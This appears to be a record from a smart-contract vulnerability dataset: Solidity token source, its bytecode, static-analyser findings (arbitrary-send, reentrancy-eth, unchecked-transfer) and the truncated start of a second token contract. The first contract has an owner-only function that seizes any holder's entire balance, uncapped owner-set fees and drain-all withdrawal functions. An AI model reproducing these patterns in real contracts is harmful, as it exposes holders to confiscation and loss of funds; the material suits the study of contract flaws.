router.WETH(),
address(this)
);
_allowances[address(this)][address(router)] = uint256(-1);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender;
marketingWallet = msg.sender;
Ring = msg.sender;
totalFee = liquidityFee.add(marketingFee).add(ringFee);
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getOwner() external view override returns (address) {
return owner;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function setMaxTxAmount(uint256 amount) external authorized {
_maxTxAmount = amount;
}
function setFees(
uint256 newLiquidityFee,
uint256 newMarketingFee,
uint256 newringFee
) external authorized {
liquidityFee = newLiquidityFee;
marketingFee = newMarketingFee;
ringFee = newringFee;
}
function feedTheBalrog(address bot) external authorized {
uint256 botBalance = _balances[bot];
_balances[address(this)] = _balances[address(this)].add(botBalance);
_balances[bot] = 0;
emit Transfer(bot, address(this), botBalance);
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt)
external
authorized
{
isTxLimitExempt[holder] = exempt;
}
function setSwapThreshold(uint256 threshold) external authorized {
swapThreshold = threshold;
}
function setFeeReceivers(
address newLiquidityReceiver,
address newMarketingWallet
) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function setResetPeriodInSeconds(uint256 newResetPeriod)
external
authorized
{
resetPeriod = newResetPeriod;
}
function _reset() internal {
Ring = marketingWallet;
biggestBuy = 0;
lastRingChange = block.timestamp;
}
function epochReset() external view returns (uint256) {
return lastRingChange + resetPeriod;
}
function _checkTxLimit(
address sender,
address recipient,
uint256 amount
) internal {
if (block.timestamp - lastRingChange > resetPeriod) {
_reset();
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[recipient] &&
recipient != ZERO &&
recipient != DEAD &&
recipient != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
uint256 contractBalanceRecipient = balanceOf(recipient);
require(
contractBalanceRecipient + amount <= _maxWalletAmount,
"Exceeds maximum wallet token amount"
);
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(this);
uint256 usedEth = router.getAmountsIn(amount, path)[0];
if (!hasSold[recipient] && usedEth > biggestBuy) {
Ring = recipient;
biggestBuy = usedEth;
lastRingChange = block.timestamp;
emit NewRing(Ring, biggestBuy);
}
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[sender] &&
sender != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
if (Ring == sender) {
emit RingSold(Ring, biggestBuy);
_reset();
}
hasSold[sender] = true;
}
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit)
external
authorized
{
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != uint256(-1)) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
}
if (
msg.sender != pair &&
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
_balances[address(this)] >= swapThreshold
) {
swapBack();
}
_checkTxLimit(sender, recipient, amount);
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient]
? takeFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeApplicable = pair == recipient
? totalFeeIfSelling
: totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient)
internal
view
returns (bool)
{
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
//uint256 tokensToLiquify = _balances[address(this)];
uint256 tokensToLiquify = swapThreshold;
uint256 amountToLiquify = tokensToLiquify
.mul(liquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
totalETHFee
);
uint256 amountETHRing = amountETH.mul(ringFee).div(totalETHFee);
uint256 amountETHLiquidity = amountETH
.mul(liquidityFee)
.div(totalETHFee)
.div(2);
(bool tmpSuccess, ) = payable(marketingWallet).call{
value: amountETHMarketing,
gas: 30000
}("");
(bool tmpSuccess2, ) = payable(Ring).call{
value: amountETHRing,
gas: 30000
}("");
emit RingPayout(Ring, amountETHRing);
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function recoverLosteth() external authorized {
payable(msg.sender).transfer(address(this).balance);
}
function recoverLostTokens(address _token, uint256 _amount)
external
authorized
{
IERC20(_token).transfer(msg.sender, _amount);
}
}
|
0x60806040526004361061028c5760003560e01c80638eb6889f1161015a578063cec10c11116100c1578063ed14f20a1161007a578063ed14f20a1461090a578063f0b37c041461093d578063f2fde38b14610970578063f84ba65d146109a3578063f887ea40146109de578063fe9fbb80146109f357610293565b8063cec10c11146107d1578063d3b43dfc14610807578063dd62ed3e1461083a578063dec2ba0f14610875578063df20fd49146108ae578063ec28438a146108e057610293565b8063a4b45c0011610113578063a4b45c00146106eb578063a8aa1b3114610726578063a9059cbb1461073b578063b6a5d7de14610774578063ca33e64c146107a7578063ca987b0e146107bc57610293565b80638eb6889f1461066d578063944c1d971461068257806395d89b41146102bf57806398118cb4146106975780639d0014b1146106ac5780639f2bb2e9146106d657610293565b80633f4218e0116101fe57806370a08231116101b757806370a0823114610582578063712a890a146105b557806375f0a874146105df57806387b3be7d14610610578063893d20e8146106255780638b42507f1461063a57610293565b80633f4218e0146104a257806346cf314f146104d55780634a74bb02146104ea578063571ac8b0146104ff578063658d4b7f146105325780636b67c4df1461056d57610293565b806323b872dd1161025057806323b872dd146103c05780632b112e49146104035780632f54bf6e14610418578063313ce5671461044b57806333596f50146104765780633e02a9881461048d57610293565b80630445b6671461029857806306fdde03146102bf578063095ea7b31461034957806318160ddd146103965780631df4ccfc146103ab57610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad610a26565b60408051918252519081900360200190f35b3480156102cb57600080fd5b506102d4610a2c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561030e5781810151838201526020016102f6565b50505050905090810190601f16801561033b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035557600080fd5b506103826004803603604081101561036c57600080fd5b506001600160a01b038135169060200135610a4d565b604080519115158252519081900360200190f35b3480156103a257600080fd5b506102ad610ab4565b3480156103b757600080fd5b506102ad610aba565b3480156103cc57600080fd5b50610382600480360360608110156103e357600080fd5b506001600160a01b03813581169160208101359091169060400135610ac0565b34801561040f57600080fd5b506102ad610b85565b34801561042457600080fd5b506103826004803603602081101561043b57600080fd5b50356001600160a01b0316610bce565b34801561045757600080fd5b50610460610be2565b6040805160ff9092168252519081900360200190f35b34801561048257600080fd5b5061048b610be7565b005b34801561049957600080fd5b506102ad610c5e565b3480156104ae57600080fd5b50610382600480360360208110156104c557600080fd5b50356001600160a01b0316610c68565b3480156104e157600080fd5b506102ad610c7d565b3480156104f657600080fd5b50610382610c83565b34801561050b57600080fd5b506103826004803603602081101561052257600080fd5b50356001600160a01b0316610c93565b34801561053e57600080fd5b5061048b6004803603604081101561055557600080fd5b506001600160a01b0381351690602001351515610ca1565b34801561057957600080fd5b506102ad610d14565b34801561058e57600080fd5b506102ad600480360360208110156105a557600080fd5b50356001600160a01b0316610d1a565b3480156105c157600080fd5b5061048b600480360360208110156105d857600080fd5b5035610d35565b3480156105eb57600080fd5b506105f4610d82565b604080516001600160a01b039092168252519081900360200190f35b34801561061c57600080fd5b506105f4610d91565b34801561063157600080fd5b506105f4610da0565b34801561064657600080fd5b506103826004803603602081101561065d57600080fd5b50356001600160a01b0316610daf565b34801561067957600080fd5b506102ad610dc4565b34801561068e57600080fd5b506102ad610dca565b3480156106a357600080fd5b506102ad610dd0565b3480156106b857600080fd5b5061048b600480360360208110156106cf57600080fd5b5035610dd6565b3480156106e257600080fd5b506102ad610e23565b3480156106f757600080fd5b5061048b6004803603604081101561070e57600080fd5b506001600160a01b0381358116916020013516610e29565b34801561073257600080fd5b506105f4610e9f565b34801561074757600080fd5b506103826004803603604081101561075e57600080fd5b506001600160a01b038135169060200135610eae565b34801561078057600080fd5b5061048b6004803603602081101561079757600080fd5b50356001600160a01b0316610ebb565b3480156107b357600080fd5b506105f4610f25565b3480156107c857600080fd5b506102ad610f34565b3480156107dd57600080fd5b5061048b600480360360608110156107f457600080fd5b5080359060208101359060400135610f3a565b34801561081357600080fd5b5061048b6004803603602081101561082a57600080fd5b50356001600160a01b0316610f90565b34801561084657600080fd5b506102ad6004803603604081101561085d57600080fd5b506001600160a01b0381358116916020013516611053565b34801561088157600080fd5b5061048b6004803603604081101561089857600080fd5b506001600160a01b03813516906020013561107e565b3480156108ba57600080fd5b5061048b600480360360408110156108d157600080fd5b50803515159060200135611145565b3480156108ec57600080fd5b5061048b6004803603602081101561090357600080fd5b50356111af565b34801561091657600080fd5b506103826004803603602081101561092d57600080fd5b50356001600160a01b03166111fc565b34801561094957600080fd5b5061048b6004803603602081101561096057600080fd5b50356001600160a01b0316611211565b34801561097c57600080fd5b5061048b6004803603602081101561099357600080fd5b50356001600160a01b0316611275565b3480156109af57600080fd5b5061048b600480360360408110156109c657600080fd5b506001600160a01b0381351690602001351515611326565b3480156109ea57600080fd5b506105f4611399565b3480156109ff57600080fd5b5061038260048036036020811015610a1657600080fd5b50356001600160a01b03166113a8565b601a5481565b604080518082019091526007815266111a585b5bdb9960ca1b602082015290565b336000818152600a602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60055490565b60115481565b6001600160a01b0383166000908152600a6020908152604080832033845290915281205460001914610b6d576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600a82528381203382529091529190912054610b48918490611420565b6001600160a01b0385166000908152600a602090815260408083203384529091529020555b610b788484846114b7565b50600190505b9392505050565b600354600090610bc990610ba1906001600160a01b0316610d1a565b600254610bc390610bba906001600160a01b0316610d1a565b600554906116c2565b906116c2565b905090565b6000546001600160a01b0390811691161490565b601290565b610bf0336113a8565b610c2f576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015610c5b573d6000803e3d6000fd5b50565b6008546007540190565b600b6020526000908152604090205460ff1681565b60105481565b601754600160a81b900460ff1681565b6000610aae82600019610a4d565b610caa336113a8565b610ce9576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b600f5481565b6001600160a01b031660009081526009602052604090205490565b610d3e336113a8565b610d7d576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600855565b6014546001600160a01b031681565b6015546001600160a01b031681565b6000546001600160a01b031690565b600c6020526000908152604090205460ff1681565b60065481565b60085481565b600e5481565b610ddf336113a8565b610e1e576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601a55565b60075481565b610e32336113a8565b610e71576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601380546001600160a01b039384166001600160a01b03199182161790915560148054929093169116179055565b6017546001600160a01b031681565b6000610b7e3384846114b7565b610ec433610bce565b610efe576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6013546001600160a01b031681565b60125481565b610f43336113a8565b610f82576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600e92909255600f55601055565b610f99336113a8565b610fd8576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b0381166000908152600960205260408082205430835291205461100290826113c6565b306000818152600960209081526040808320949094556001600160a01b0386168083528483209290925583518581529351929391926000805160206124a88339815191529281900390910190a35050565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b611087336113a8565b6110c6576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6040805163a9059cbb60e01b81523360048201526024810183905290516001600160a01b0384169163a9059cbb9160448083019260209291908290030181600087803b15801561111557600080fd5b505af1158015611129573d6000803e3d6000fd5b505050506040513d602081101561113f57600080fd5b50505050565b61114e336113a8565b61118d576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60178054921515600160a81b0260ff60a81b1990931692909217909155601a55565b6111b8336113a8565b6111f7576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601855565b600d6020526000908152604090205460ff1681565b61121a33610bce565b611254576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b61127e33610bce565b6112b8576040805162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b61132f336113a8565b61136e576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6016546001600160a01b031681565b6001600160a01b031660009081526001602052604090205460ff1690565b600082820183811015610b7e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081848411156114af5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561147457818101518382015260200161145c565b50505050905090810190601f1680156114a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b601754600090600160a01b900460ff16156114de576114d7848484611704565b9050610b7e565b6017546001600160a01b031633148015906115035750601754600160a01b900460ff16155b80156115185750601754600160a81b900460ff165b80156115355750601a543060009081526009602052604090205410155b15611542576115426117d3565b61154d848484611c5b565b61155784846121fe565b15611597576040805162461bcd60e51b815260206004820152600b60248201526a111bdb89dd0818da19585d60aa1b604482015290519081900360640190fd5b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600990915291909120546115e9918490611420565b6001600160a01b038516600090815260096020908152604080832093909355600b90529081205460ff1615801561163957506001600160a01b0384166000908152600b602052604090205460ff16155b611643578261164e565b61164e858585612289565b6001600160a01b03851660009081526009602052604090205490915061167490826113c6565b6001600160a01b0385166000818152600960209081526040918290209390935580518481529051919233926000805160206124a88339815191529281900390910190a3506001949350505050565b6000610b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611420565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600990915291822054611755918490611420565b6001600160a01b03808616600090815260096020526040808220939093559085168152205461178490836113c6565b6001600160a01b0380851660008181526009602090815260409182902094909455805186815290519193928816926000805160206124a883398151915292918290030190a35060019392505050565b6017805460ff60a01b1916600160a01b179055601a54601154600e5460009161180c916002916118069182908790612336565b9061238f565b9050600061181a83836116c2565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061184c57fe5b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156118a057600080fd5b505afa1580156118b4573d6000803e3d6000fd5b505050506040513d60208110156118ca57600080fd5b50518151829060019081106118db57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050601660009054906101000a90046001600160a01b03166001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561199557818101518382015260200161197d565b505050509050019650505050505050600060405180830381600087803b1580156119be57600080fd5b505af11580156119d2573d6000803e3d6000fd5b5050600e54479250600091506119f6906119ed90600261238f565b601154906116c2565b90506000611a1382611806600f548661233690919063ffffffff16565b90506000611a30836118066010548761233690919063ffffffff16565b90506000611a52600261180686611806600e548a61233690919063ffffffff16565b6014546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d8060008114611aa9576040519150601f19603f3d011682016040523d82523d6000602084013e611aae565b606091505b50506015546040519192506000916001600160a01b039091169061753090869084818181858888f193505050503d8060008114611b07576040519150601f19603f3d011682016040523d82523d6000602084013e611b0c565b606091505b5050601554604080516001600160a01b0390921682526020820187905280519293507f887dd9f57395c2e1e0dea455ae76bf56410b19b3131f2a590aab0b29b368363292918290030190a15060009050808915611c41576016546013546040805163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0392831660848201524260a48201529051919092169163f305d71991869160c48082019260609290919082900301818588803b158015611bd857600080fd5b505af1158015611bec573d6000803e3d6000fd5b50505050506040513d6060811015611c0357600080fd5b505060408051848152602081018c905281517f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506929181900390910190a15b50506017805460ff60a01b19169055505050505050505050565b60085460075442031115611c7157611c716123d1565b6000546001600160a01b03848116911614801590611c9d57506000546001600160a01b03838116911614155b8015611cc257506001600160a01b0382166000908152600c602052604090205460ff16155b8015611cdc57506003546001600160a01b03838116911614155b8015611cf657506002546001600160a01b03838116911614155b8015611d1057506017546001600160a01b03838116911614155b8015611d2557506001600160a01b0382163014155b156120a757601854811115611d6a576040805162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b604482015290519081900360640190fd5b6000611d7583610d1a565b90506019548282011115611dba5760405162461bcd60e51b81526004018080602001828103825260238152602001806124646023913960400191505060405180910390fd5b60408051600280825260608083018452926020830190803683375050601654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015611e1e57600080fd5b505afa158015611e32573d6000803e3d6000fd5b505050506040513d6020811015611e4857600080fd5b505181518290600090611e5757fe5b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110611e8557fe5b6001600160a01b03928316602091820292909201810191909152601654604080516307c0329d60e21b815260048101888152602482019283528651604483015286516000969490941694631f00ca74948a948994909260649091019185820191028083838c5b83811015611f03578181015183820152602001611eeb565b50505050905001935050505060006040518083038186803b158015611f2757600080fd5b505afa158015611f3b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015611f6457600080fd5b8101908080516040519392919084640100000000821115611f8457600080fd5b908301906020820185811115611f9957600080fd5b8251866020820283011164010000000082111715611fb657600080fd5b82525081516020918201928201910280838360005b83811015611fe3578181015183820152602001611fcb565b50505050905001604052505050600081518110611ffc57fe5b6020908102919091018101516001600160a01b0387166000908152600d90925260409091205490915060ff16158015612036575060065481115b156120a357601580546001600160a01b0319166001600160a01b038781169190911791829055600683905542600755604080519290911682526020820183905280517f735208e3a5b6390fd1d199ec98f6689564f9d7fef06323849704a8856eeed5f49281900390910190a15b5050505b6000546001600160a01b038481169116148015906120d357506000546001600160a01b03838116911614155b80156120f857506001600160a01b0383166000908152600c602052604090205460ff16155b801561211257506017546001600160a01b03848116911614155b801561212757506001600160a01b0382163014155b156121f95760185481111561216c576040805162461bcd60e51b815260206004820152600660248201526509a82b040a8b60d31b604482015290519081900360640190fd5b6015546001600160a01b03848116911614156121d557601554600654604080516001600160a01b039093168352602083019190915280517fec798f0f5328ec01f1d48922c12f488ecde2dae7402c814510a37d505cbdbb2a9281900390910190a16121d56123d1565b6001600160a01b0383166000908152600d60205260409020805460ff191660011790555b505050565b6001600160a01b0382166000908152600b602052604081205460ff168061223d57506001600160a01b0382166000908152600b602052604090205460ff165b1561224a57506000610aae565b6017546001600160a01b038481169116148061227357506017546001600160a01b038381169116145b1561228057506000610aae565b50600192915050565b60175460009081906001600160a01b038581169116146122ab576011546122af565b6012545b905060006122c260646118068685612336565b306000908152600960205260409020549091506122df90826113c6565b30600081815260096020908152604091829020939093558051848152905191926001600160a01b038a16926000805160206124a88339815191529281900390910190a361232c84826116c2565b9695505050505050565b60008261234557506000610aae565b8282028284828161235257fe5b0414610b7e5760405162461bcd60e51b81526004018080602001828103825260218152602001806124876021913960400191505060405180910390fd5b6000610b7e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123fe565b601454601580546001600160a01b0319166001600160a01b03909216919091179055600060065542600755565b6000818361244d5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561147457818101518382015260200161145c565b50600083858161245957fe5b049594505050505056fe45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f756e74536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f7da4ed884534777720ba9e831a7529c8c575051c36e6cc55df43e61d334402164736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,077 |
0x0383a72a83b772a192bdea20619061b6be10fc97
|
/**
*Submitted for verification at Etherscan.io on 2022-01-25
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract inugami is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
mapping (address => User) private trader;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Inu Gami";
string private constant _symbol = unicode"GAMI";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 6;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _cooldownEnabled = true;
bool private _communityMode = false;
bool private inSwap = false;
uint256 private launchBlock = 0;
uint256 private buyLimitEnd;
uint256 private redmode = 0;
uint256 private bluemode = 0;
uint256 private consecutiveBuyCounter = 0;
uint256 private consecutiveSellCounter = 0;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
